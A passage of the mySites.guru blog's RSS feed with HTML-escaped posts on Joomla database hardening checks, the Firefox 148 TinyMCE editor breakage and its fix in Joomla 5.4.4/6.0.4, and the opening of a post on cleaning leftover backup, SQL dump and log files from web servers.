&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current purge setting. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will set the value to 30 days remotely. Use the pivot view to see which sites across your portfolio need this configured.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix via Joomla admin&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In the Joomla administrator, go to &lt;strong&gt;System &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for &quot;Action Log - User Actions&quot;&lt;/li&gt;
&lt;li&gt;Open the plugin settings&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;Days to delete log entries after&lt;/strong&gt; to 30 (or whatever retention period you need)&lt;/li&gt;
&lt;li&gt;Make sure the plugin is enabled&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For sites where you need longer retention (compliance requirements, client audit trails), set a longer period. The point is to have some limit rather than letting the table grow without bounds.&lt;/p&gt;
&lt;h2&gt;A complete Joomla database security checklist&lt;/h2&gt;
&lt;p&gt;Here&apos;s the complete set of database integrity checks you should apply to every Joomla site you manage:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Table prefix&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is it something other than &lt;code&gt;jos_&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Is it random and non-guessable?&lt;/li&gt;
&lt;li&gt;Does it end with an underscore?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Database user&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is it a dedicated user (not root)?&lt;/li&gt;
&lt;li&gt;Does it have a strong, unique password?&lt;/li&gt;
&lt;li&gt;Is it restricted to connecting from localhost only?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Single database access&lt;/strong&gt; (mySites.guru check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does the database user only have access to one database?&lt;/li&gt;
&lt;li&gt;Is each site on the server using its own dedicated user?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. Backup tables&lt;/strong&gt; (mySites.guru check, Joomla only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are there leftover &lt;code&gt;bak_&lt;/code&gt; tables in the database?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;5. Schema integrity&lt;/strong&gt; (mySites.guru check, Joomla only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does the database schema version match the installed Joomla version?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;6. Action log purge&lt;/strong&gt; (mySites.guru check, Joomla 3.9+ only)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is the User Action Log plugin configured to auto-purge at 30 days?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;7. Privileges&lt;/strong&gt; (manual check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are only the required privileges granted? (SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, and optionally CREATE TEMPORARY TABLES and LOCK TABLES)&lt;/li&gt;
&lt;li&gt;Are dangerous privileges absent? (FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN)&lt;/li&gt;
&lt;li&gt;Is &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; not being used?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;8. Configuration protection&lt;/strong&gt; (manual check)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is &lt;code&gt;configuration.php&lt;/code&gt; set to 444 (read-only) permissions?&lt;/li&gt;
&lt;li&gt;Is the database password unique and not reused elsewhere?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run the mySites.guru snapshot on your connected sites to check items 1-6 automatically. For items 7-8, you&apos;ll need to verify manually. For sites that fail multiple checks, prioritise fixing them in order: root user first (critical), then single-database access (critical), then table prefix (medium), then backup tables and schema (maintenance).&lt;/p&gt;
&lt;h2&gt;How Do You Check Multiple Sites at Once?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, checking database security manually on each one would take forever. This is where mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; earns its keep.&lt;/p&gt;
&lt;p&gt;Run a snapshot across all connected sites with a single click, or &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule them to run automatically&lt;/a&gt; on whatever cadence makes sense. The pivot view (shown above) lets you pick any single check and see every site&apos;s status on one screen, so you can focus your time on the sites that actually need attention.&lt;/p&gt;
&lt;p&gt;The snapshot captures &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;over 100 checks per site&lt;/a&gt;, and the database integrity checks covered in this post are just one category. You&apos;ll also get checks for &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;, file permissions, core file integrity, &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;PHP configuration&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;dangerous leftover files&lt;/a&gt;, and much more. Combined with a full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; that scans for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, you get a thorough picture of each site&apos;s security posture.&lt;/p&gt;
&lt;p&gt;For each flagged issue, the tool links to a &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt; so your team members and clients understand why the recommendation matters, not just what to change.&lt;/p&gt;
&lt;h2&gt;What About WordPress Database Security?&lt;/h2&gt;
&lt;p&gt;The underlying risks are identical for WordPress. The default table prefix is &lt;code&gt;wp_&lt;/code&gt; instead of &lt;code&gt;jos_&lt;/code&gt;, and the table names are different, but automated tools target &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_options&lt;/code&gt; just as readily as they target &lt;code&gt;jos_users&lt;/code&gt; and &lt;code&gt;jos_extensions&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The mySites.guru snapshot runs three of the same database checks on WordPress sites: default &lt;code&gt;wp_&lt;/code&gt; prefix detection, root user warnings, and single-database access checks. WordPress also gets a &lt;strong&gt;Pending Database Migrations&lt;/strong&gt; check (comparing the code&apos;s expected &lt;code&gt;$wp_db_version&lt;/code&gt; against the stored &lt;code&gt;db_version&lt;/code&gt; option) instead of the Joomla schema check. The backup tables and action log purge checks are Joomla-specific.&lt;/p&gt;
&lt;p&gt;Note that WordPress database fix tools currently require manual action - the remote &lt;strong&gt;Fix This For Me&lt;/strong&gt; buttons are available on Joomla sites only. If you &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage both Joomla and WordPress sites&lt;/a&gt; from the mySites.guru dashboard, the snapshot will still flag the issues on WordPress so you know what needs attention.&lt;/p&gt;
&lt;h2&gt;Learn More: Basic Joomla Tutorials&lt;/h2&gt;
&lt;p&gt;If you prefer video walkthroughs, Tim Davis runs the &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; YouTube channel with hundreds of Joomla maintenance and security videos. The three videos linked throughout this post cover the database topics in detail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GQvGbT2qC_4&quot;&gt;Don&apos;t Use the Default JOS_ Database Table Prefix in Joomla&lt;/a&gt; - why the default prefix is a target and how to change it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt; - why each site needs its own database user with access to only one database&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt; - finding and safely removing orphaned backup tables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tim&apos;s Maintenance Monday streams are a solid resource for anyone managing Joomla sites professionally.&lt;/p&gt;
&lt;h2&gt;Beyond the snapshot: defence in depth&lt;/h2&gt;
&lt;p&gt;Database security checks are one layer in a multi-layered security strategy. They complement other practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep Joomla and extensions updated.&lt;/strong&gt; Most SQL injection vulnerabilities are in outdated extensions. &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass updates from the mySites.guru dashboard&lt;/a&gt; keep everything current with minimal effort.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run regular security audits.&lt;/strong&gt; The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep audit&lt;/a&gt; scans every file in your webspace against thousands of known malware patterns, and the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can identify obfuscated threats that signature-based scanning misses.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up real-time alerts.&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File change and login monitoring&lt;/a&gt; catches suspicious activity the moment it happens, before an attacker has time to establish persistence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protect configuration files.&lt;/strong&gt; Your &lt;code&gt;configuration.php&lt;/code&gt; contains your database credentials in plain text. It should be readable only by the web server user, not writable, and not accessible from the web. The mySites.guru snapshot checks file permissions as part of its standard run, and the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files tool&lt;/a&gt; can surface configuration files that have been copied or backed up to accessible locations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use strong, unique passwords everywhere.&lt;/strong&gt; The database password in &lt;code&gt;configuration.php&lt;/code&gt; should be unique to that site. Password reuse across sites means a compromise on one site compromises them all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your Joomla email config.&lt;/strong&gt; A compromised site is often used to send spam. &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;Verify your email configuration works&lt;/a&gt; so you&apos;ll notice if something changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, run a snapshot on your sites and check the Database Integrity section in the results. Fix whatever is flagged, starting with the most critical issues.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free audit&lt;/a&gt; to see what the tool finds on your site. It takes under two minutes to connect a site and run the first snapshot. You might be surprised at what&apos;s been sitting in your database configuration since the day the site was installed.&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client sites, the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing plans&lt;/a&gt; scale with the number of connected sites. Every plan includes unlimited snapshots and audits across all your sites, database integrity checks included, no add-on required.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/security-guidelines.html&quot;&gt;MySQL 8.4 Security Guidelines&lt;/a&gt; - Official MySQL documentation on securing your database server, including user management, network access, and encryption.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html&quot;&gt;OWASP Database Security Cheat Sheet&lt;/a&gt; - Guidance on database hardening for MySQL, PostgreSQL, and other platforms, with specific configuration recommendations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla-tips.org/secure-joomla/change-the-default-joomla-database-prefix.html&quot;&gt;Change the Default Joomla Database Prefix&lt;/a&gt; - Step-by-step walkthrough of changing the jos_ prefix on existing Joomla installations.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2010/the-prefix-has-nothing-to-do-with-telephony&quot;&gt;The Prefix Has Nothing To Do With Telephony&lt;/a&gt; - Joomla Magazine article on the history and purpose of database table prefixes in Joomla.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; - Tim Davis&apos;s YouTube channel with hundreds of Joomla tutorials, including the Maintenance Monday security series.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Database security is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>database</category><category>joomla</category><category>snapshot</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/joomla-database-security.D1A7c2zO.png" length="0" type="image/png"/></item><item><title>Joomla TinyMCE Editor Broken in Firefox 148 - How to Fix It</title><link>https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/</guid><description>Firefox 148 broke the TinyMCE editor in Joomla 4, 5, and 6. The editor flickers and reloads endlessly. Joomla 5.4.4 and 6.0.4 fix it permanently.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; Joomla 5.4.4 and 6.0.4 are out with the TinyMCE fix baked in, plus six security patches. Update to these versions instead of using the hotfix. &lt;a href=&quot;#upgrade-all-your-joomla-sites-from-one-dashboard-with-mysitesguru&quot;&gt;Jump to update instructions&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On February 26, 2026, Firefox 148 landed and immediately broke the TinyMCE editor in Joomla. Every version of Joomla that ships TinyMCE was affected: 4.4.x, 5.4.x, and 6.0.x. The editor flickers endlessly, reloading its iframe in an infinite loop. Content editing becomes impossible.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;multiple Joomla sites&lt;/a&gt; and your content editors started reporting problems the same week, this is almost certainly the cause. &lt;strong&gt;Joomla 5.4.4 and 6.0.4 were &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;released on March 31, 2026&lt;/a&gt;&lt;/strong&gt; with this fix included, along with six security patches. Updating to these versions is now the recommended solution. Hotfix packages for 5.4.3 and 6.0.3 are also still available from &lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;downloads.joomla.org&lt;/a&gt; if you cannot update immediately.&lt;/p&gt;
&lt;h2&gt;What went wrong with Joomla&apos;s TinyMCE?&lt;/h2&gt;
&lt;p&gt;Firefox 148 removed a deprecated API called &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt;. This was a Mozilla-specific property that let JavaScript distinguish between mouse clicks from different input devices (physical mouse, touch screen, pen). Mozilla marked it as deprecated years ago and finally removed it in Firefox 148.&lt;/p&gt;
&lt;p&gt;TinyMCE&apos;s initialization code relied on this property. During editor setup, TinyMCE checks whether the iframe containing the editor has finished loading. The code path that performed this check interacted with &lt;code&gt;mozInputSource&lt;/code&gt; in a way that, once the property was removed, caused the iframe to never reach a completed state. TinyMCE would detect the iframe as incomplete, tear it down, and reinitialize, over and over.&lt;/p&gt;
&lt;p&gt;The result: the editor loads its stylesheets repeatedly, the content area flickers, and you cannot type or interact with anything.&lt;/p&gt;
&lt;h2&gt;Which browsers and platforms are affected?&lt;/h2&gt;
&lt;p&gt;The bug is specific to Firefox:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Firefox 148&lt;/strong&gt; on macOS (both Apple Silicon and Intel), Windows 11, and Ubuntu 24.04&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firefox Developer Edition 149.0b1&lt;/strong&gt; (also affected, confirming this is a permanent API removal)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chrome, Safari, Edge&lt;/strong&gt;: Unaffected. These browsers never implemented &lt;code&gt;mozInputSource&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means the issue only hits users and content editors who use Firefox. If your agency standardizes on Chrome, you might not have noticed. But if even one of your clients or their editors uses Firefox, their editing workflow broke overnight with no warning.&lt;/p&gt;
&lt;h2&gt;Which Joomla versions are affected?&lt;/h2&gt;
&lt;p&gt;Every version of Joomla that includes TinyMCE as the default editor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla 4.4.x&lt;/strong&gt; (confirmed on 4.4.14)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 5.4.x&lt;/strong&gt; (confirmed on 5.4.3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 6.0.x&lt;/strong&gt; (confirmed on 6.0.3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The bug is in TinyMCE&apos;s JavaScript, not in Joomla&apos;s PHP code. Any Joomla installation using the bundled TinyMCE editor is affected regardless of template, extensions, or server configuration.&lt;/p&gt;
&lt;h2&gt;What is the upstream TinyMCE issue?&lt;/h2&gt;
&lt;p&gt;The root cause sits in TinyMCE itself, tracked as &lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;GitHub issue #10947&lt;/a&gt; on the TinyMCE repository. The fix required TinyMCE to switch from the removed &lt;code&gt;MouseEvent.mozInputSource&lt;/code&gt; to the standard &lt;code&gt;PointerEvent.pointerType&lt;/code&gt; API, which provides the same input-device detection using a cross-browser standard.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s fix, tracked as &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;PR #46889&lt;/a&gt;, patches the TinyMCE initialization script bundled with Joomla. The fix modifies a single file: &lt;code&gt;build/media_source/plg_editors_tinymce/js/tinymce.es6.js&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How did Joomla respond?&lt;/h2&gt;
&lt;p&gt;The Joomla project handled this well. The issue was &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;flagged&lt;/a&gt; on February 26, the same day Firefox 148 shipped. The fix was already merged into the development branches before the report was even filed, because the Joomla team had caught it during Firefox Developer Edition testing.&lt;/p&gt;
&lt;p&gt;The Joomla Magazine published a detailed post-mortem titled &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;&quot;How we decided not to panic&quot;&lt;/a&gt;, walking through the team&apos;s decision process for handling the incident. Rather than rushing out emergency point releases, they chose to ship hotfix packages that site owners could install through Extension Manager while preparing proper releases on the normal timeline.&lt;/p&gt;
&lt;p&gt;Credit where it&apos;s due - the Joomla team got the response right on this one.&lt;/p&gt;
&lt;h2&gt;How do you fix the Joomla TinyMCE issue?&lt;/h2&gt;
&lt;h3&gt;Upgrade all your Joomla sites from one dashboard with mySites.guru&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 shipped on March 31, 2026&lt;/a&gt; with the TinyMCE fix included permanently, plus six security patches covering SQL injection, XSS, arbitrary file deletion, and access control issues. Update to these versions if you haven&apos;t already.&lt;/p&gt;
&lt;p&gt;If you manage multiple Joomla sites, the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; is the fastest way to get every site patched. Filter your &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;dashboard&lt;/a&gt; by Joomla version to find sites still on 5.4.3 or 6.0.3, select them all, and hit upgrade. Every site updates in one operation - no logging into individual admin panels, no downloading packages manually.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; tracks Joomla core versions and &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension versions across every connected site&lt;/a&gt;, so you can see at a glance which sites still need the update. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Mass Upgrade tool&lt;/a&gt; works for any Joomla point release, not just this one - whenever a security update drops, you can &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;push it across your entire portfolio from one screen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Fixing a single site manually&lt;/h3&gt;
&lt;p&gt;If you only manage one site, or don&apos;t have a mySites.guru account yet, update through your Joomla admin panel:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Joomla Update&lt;/strong&gt; in your admin&lt;/li&gt;
&lt;li&gt;You should see Joomla 5.4.4 or 6.0.4 available&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Install the Update&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Clear your browser cache and reload the article editor&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Still on the hotfix? Time to update&lt;/h3&gt;
&lt;p&gt;If you applied the TinyMCE hotfix package for Joomla 5.4.3 or 6.0.3 earlier, updating to 5.4.4 / 6.0.4 supersedes it. The hotfix only patched TinyMCE&apos;s JavaScript - the full release includes that same fix plus six security patches you need anyway. Use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;Mass Package Installer&lt;/a&gt; or the Mass Upgrade tool to get all sites current.&lt;/p&gt;
&lt;h3&gt;Switch editors temporarily&lt;/h3&gt;
&lt;p&gt;Changing the default editor to &lt;strong&gt;CodeMirror&lt;/strong&gt; or &lt;strong&gt;JCE&lt;/strong&gt; avoids the problem entirely. Go to &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Default Editor&lt;/strong&gt;. This is a workaround, not a fix, and should be reversed once you update to 5.4.4 / 6.0.4.&lt;/p&gt;
&lt;h2&gt;What does this incident teach us?&lt;/h2&gt;
&lt;p&gt;Browser vendors remove deprecated APIs on their own schedule. They do not coordinate with every CMS and JavaScript library that might depend on those APIs. Mozilla deprecated &lt;code&gt;mozInputSource&lt;/code&gt; years ago, but the actual removal still caught TinyMCE (and by extension, every CMS that bundles it) off guard.&lt;/p&gt;
&lt;p&gt;This is not unique to Joomla. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; showed the same pattern: a third-party component breaks, and agencies need to identify affected sites and deploy a fix across their entire portfolio fast. The only defense is staying current with updates and having a process to &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out fixes quickly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For agencies managing client sites, incidents like this are exactly why &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;building a morning check routine&lt;/a&gt; matters. A quick scan of your dashboard catches problems before your clients call you about them.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 / 5.4.4 release announcement&lt;/a&gt; - The official release that includes the TinyMCE fix and six security patches&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.joomla.org/cms/joomla6/6-0-3&quot;&gt;Joomla 6.0.3 / 5.4.3 hotfix downloads&lt;/a&gt; - Hotfix packages for sites that cannot update to 5.4.4 / 6.0.4 yet&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2026/how-we-decided-not-to-panic-the-joomla-post-release-decision-process&quot;&gt;&quot;How we decided not to panic&quot; - Joomla Magazine&lt;/a&gt; - The Joomla team&apos;s post-mortem on their decision process&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/47238&quot;&gt;GitHub Issue #47238&lt;/a&gt; - The original bug report with community confirmation across platforms&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tinymce/tinymce/issues/10947&quot;&gt;TinyMCE Issue #10947&lt;/a&gt; - The upstream TinyMCE bug report about the mozInputSource removal&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46889&quot;&gt;Joomla PR #46889&lt;/a&gt; - The merged fix that patches TinyMCE initialization&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Edge cases like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;CMS updates guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>firefox</category><category>tinymce</category><category>browser compatibility</category><category>hotfix</category><enclosure url="https://mysites.guru/_astro/joomla-tinymce-firefox-148-fix.CHqCL4_u.png" length="0" type="image/png"/></item><item><title>How to Clean Up Dangerous Files Left on Your Joomla Web Server</title><link>https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/</guid><description>ZIP archives, SQL dumps, and PHP error logs left on your Joomla server are security risks waiting to be exploited. Find and remove them before an attacker does.</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You finished the migration. You ran the backup. You exported the database so you could import it on the staging server. And then you moved on to the next task, because there are always more tasks.&lt;/p&gt;
&lt;p&gt;Those files are still sitting on your server. The ZIP archive of the old site. The SQL dump with every user&apos;s email address and hashed password. The PHP error log that&apos;s been growing for three years, recording every database connection string and file path on your server.&lt;/p&gt;
&lt;p&gt;Nobody remembers they&apos;re there. But anyone with a browser can download them.&lt;/p&gt;
&lt;p&gt;This is one of the most common and most overlooked security problems on Joomla sites. Not a code vulnerability or a zero-day exploit - just files that should never have been left in a publicly accessible directory, forgotten and exposed to anyone who knows where to look.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Find These Files?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any site connected to mySites.guru, the audit engine scans every file in your webspace and classifies them. Several audit tools specifically target dangerous file types:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Archive Files Tool&lt;/h3&gt;
&lt;p&gt;The archive files tool counts every archive file on your site: ZIP, TAR, TAR.GZ, GZ, RAR, JPA, JPS, and other compressed formats. The audit result shows a count with a colour-coded badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - no archive files found&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow/Red&lt;/strong&gt; - archive files detected, investigation recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click through to see the full list with file paths, sizes, and modification dates. This is where you&apos;ll spot the migration archive from two years ago, the Akeeba backup someone forgot to delete, or the mystery ZIP file in &lt;code&gt;/tmp/&lt;/code&gt; that you&apos;ve never seen before. Some ZIP files are legitimate - if your site offers downloadable resources, those archives are intentional and should stay. The tool helps you distinguish between files you put there on purpose and ones that were left behind by accident.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;SQL Dump Files Tool&lt;/h3&gt;
